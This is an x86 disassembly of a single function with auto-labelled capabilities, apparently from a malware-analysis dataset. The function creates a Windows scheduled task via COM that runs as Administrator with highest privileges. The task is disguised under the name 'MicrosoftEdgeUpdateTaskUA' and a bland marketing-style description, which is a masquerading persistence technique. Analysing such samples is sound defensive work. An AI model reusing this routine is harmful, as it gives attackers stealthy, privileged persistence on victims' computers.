Function at 0x100041a0
Capabilities:
Check if file exists
Get file attributes
Print debug messages
Resolve function by parsing pe exports
Schedule task via itaskservice

Disassembly:
push 0xffffffffffffffff
push 0x1000ddee
mov eax, dword fs:[0]
push eax
sub esp, 0x58
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10012324]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov esi, dword [esp + 0x7c]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100041d0
sub eax, edx
sar eax, 1
lea eax, [esi + eax*2]
mov ecx, eax
cmp eax, esi
jbe 0x100048eb
lea esp, [esp]
cmp word [ecx], 0x5c
je 0x100041ff
sub ecx, 2
cmp ecx, esi
ja 0x100041f0
jmp 0x10004201
mov eax, ecx
cmp eax, esi
jbe 0x100048eb
sub eax, esi
sar eax, 1
lea edi, [eax + eax]
lea eax, [edi + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 0x44], eax
test eax, eax
je 0x100048eb
push edi
push esi
push eax
call fcn.10006410
add esp, 0xc
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x100048eb
cmp byte [0x10012fc4], 0
jne 0x10004275
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jl 0x100048e5
mov byte [0x10012fc4], 1
lea ecx, [esp + 0x1c]
push ecx
push 0x1000e550
push 1
push 0
push 0x1000e530
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x100048e5
xor eax, eax
mov dword [esp + 0x4e], eax
mov dword [esp + 0x52], eax
mov dword [esp + 0x56], eax
mov word [esp + 0x5a], ax
lea eax, [esp + 0x4c]
xor edx, edx
push eax
mov word [esp + 0x50], dx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x50]
mov esi, dword [esp + 0x54]
mov edi, dword [esp + 0x58]
mov ebp, dword [esp + 0x1c]
mov ebx, dword [ebp]
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebx + 0x28]
mov dword [eax + 4], edx
mov dword [eax + 8], esi
push ebp
mov dword [eax + 0xc], edi
call ecx
test eax, eax
mov eax, dword [esp + 0x1c]
jge 0x1000432d
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
jmp 0x100048e5
lea edx, [esp + 0x3c]
push edx
xor ebx, ebx
mov dword [esp + 0x40], ebx
mov ecx, dword [eax]
push 0x1000ed78
push eax
mov eax, dword [ecx + 0x1c]
call eax
cmp eax, ebx
jge 0x10004352
mov eax, dword [esp + 0x1c]
jmp 0x100048dd
test byte [0x10012fc0], 1
jne 0x1000438a
or dword [0x10012fc0], 1
mov eax, dword [esp + 0x7c]
push eax
mov ecx, 0x10012fa4
mov dword [esp + 0x78], ebx
call fcn.10003ca0
push 0x1000de50
call fcn.100068a7
add esp, 4
mov dword [esp + 0x74], 0xffffffff
mov eax, dword [0x10012fa8]
mov ebp, 8
cmp dword [0x10012fbc], ebp
jae 0x100043a1
mov eax, 0x10012fa8
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x44]
push edx
call fcn.10002fd0
add esp, 0xc
test al, al
je 0x100043d7
push str.setup_scheduled_tasks_INVOKE_scheduled_tasks_is_exists_FAILED
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x64
ret
push 0x10012fa4
call fcn.10003de0
mov eax, dword [0x10012fa8]
add esp, 4
cmp dword [0x10012fbc], ebp
jae 0x100043f6
mov eax, 0x10012fa8
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100048eb
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], ebx
mov ecx, dword [eax]
push ebx
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x100048e3
call edx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x2c]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x2c], ebx
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jl 0x1000446e
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push str.Administrator
push eax
call edx
test eax, eax
jge 0x10004477
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
jmp 0x100048dd
mov edi, str.Empower_your_business_with_our_softwares_seamless_automation_and_data_analysis_capabilities.
call fcn.10002eb0
mov esi, eax
cmp esi, ebx
je 0x10004489
mov edi, esi
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
push edi
push eax
call edx
test eax, eax
jge 0x100044d5
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call fcn.10006775
add esp, 4
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x64
ret
cmp esi, ebx
je 0x100044e2
push esi
call fcn.10006775
add esp, 4
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
mov dword [esp + 0x24], ebx
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x3c]
call eax
test eax, eax
jl 0x1000446e
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x40]
push str.Administrators
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x38]
push 4
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x48]
push 1
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x1000446c
call edx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
mov dword [esp + 0x18], ebx
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
test eax, eax
jl 0x1000446e
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x70]
push str.PT0S
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x40]
push ebx
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x48]
push ebx
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x20]
push 0xffffffffffffffff
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x58]
push ebx
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x38]
push ebx
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x10004468
mov edx, dword [ecx + 0x98]
push ebx
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x1000446c
call edx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x30]
mov dword [esp + 0x30], ebx
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
jl 0x1000446e
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x44], ebx
mov ecx, dword [eax]
push 9
push eax
mov eax, dword [ecx + 0x28]
call eax
test eax, eax
jl 0x10004696
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x38], ebx
mov ecx, dword [eax]
push 0x1000e560
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x10004696
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push str.Trigger1
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jge 0x100046ab
call edx
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
jmp 0x100048dd
call edx
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x38]
mov dword [esp + 0x38], ebx
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x44]
call eax
test eax, eax
jl 0x1000446e
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], ebx
mov ecx, dword [eax]
push ebx
push eax
mov eax, dword [ecx + 0x30]
call eax
test eax, eax
mov eax, dword [esp + 0x38]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x1000446c
call edx
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], ebx
mov ecx, dword [eax]
push str.MbLk
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x1000477f
mov eax, dword [0x10012fa8]
cmp dword [0x10012fbc], ebp
jae 0x1000472f
mov eax, 0x10012fa8
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x2c]
push ecx
call eax
test eax, eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
jl 0x10004779
mov edx, dword [ecx + 0x34]
push 0x1000ec18
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
jl 0x10004779
mov edi, dword [esp + 0x44]
mov edx, dword [ecx + 0x3c]
push edi
push eax
call edx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp esi, ebx
jge 0x10004794
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
jmp 0x100048dd
mov dword [esp + 0x7c], str.MicrosoftEdgeUpdateTaskUA_Task_S_1_5_18
call fcn.10002d90
mov dword [esp + 0x44], eax
cmp eax, ebx
je 0x100047ad
mov dword [esp + 0x7c], eax
mov edi, dword [esp + 0x54]
xor eax, eax
mov dword [esp + 0x5e], eax
mov dword [esp + 0x62], eax
mov dword [esp + 0x66], eax
mov word [esp + 0x6a], ax
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x48]
push eax
sub esp, 0x10
mov eax, esp
mov word [esp + 0x70], bp
mov esi, dword [esp + 0x70]
mov dword [eax], esi
mov esi, dword [esp + 0x74]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x64]
push 3
sub esp, 0x10
mov ecx, 0x1000ec18
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x90]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x74]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], esi
mov dword [eax + 8], edi
sub esp, 0x10
mov dword [esp + 0x80], ebx
mov ebx, dword [esp + 0x90]
mov ebp, dword [edx]
mov dword [eax + 0xc], ebx
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [esp + 0xb4]
mov dword [eax + 4], esi
mov dword [eax + 8], edi
push 6
mov dword [eax + 0xc], ebx
mov eax, dword [esp + 0x50]
push eax
push ecx
push edx
mov edx, dword [ebp + 0x44]
call edx
test eax, eax
jge 0x10004898
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x44]
test eax, eax
je 0x100048eb
push eax
call fcn.10006775
add esp, 4
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x64
ret
mov eax, dword [esp + 0x44]
test eax, eax
je 0x100048a9
push eax
call fcn.10006775
add esp, 4
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x64
ret